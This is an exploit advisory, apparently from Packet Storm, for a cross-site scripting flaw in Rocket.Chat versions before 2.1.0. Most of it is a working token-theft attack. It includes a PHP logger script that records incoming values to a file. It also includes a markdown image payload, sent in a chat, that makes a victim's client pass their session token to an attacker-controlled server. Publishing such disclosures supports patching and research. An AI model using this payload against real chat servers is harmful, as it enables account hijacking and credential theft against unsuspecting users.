Rocket.Chat Cross Site Scripting

Rocket.Chat versions prior to 2.1.0 suffer from a cross site scripting vulnerability.

MD5 | 36f555f2af81fce69ddbe041edf0ab91

Download

#[+] Title:  Rocket.Chat - Cross Site Scripting Exploit (Token Hijack)
#[+] Product: Rocket.Chat
#[+] Vendor: https://rocket.chat/
#[+] Vulnerable Version(s): Rocket.Chat < 2.1.0
#
#
# Author      :   3H34N
# Ehsan Nezami
# Website     :   nezami.me
# Twitter     :   https://twitter.com/mr_ehsane
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)


1. Create l33t.php on a web server 


<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>

2. Open a chat session
3. Send payload with your web server url


![title](http://10.10.1.5/l33t.php?leet=+`{}token`)

4. Token will be written in logs.txt when target seen your message.

Source: packetstormsecurity.com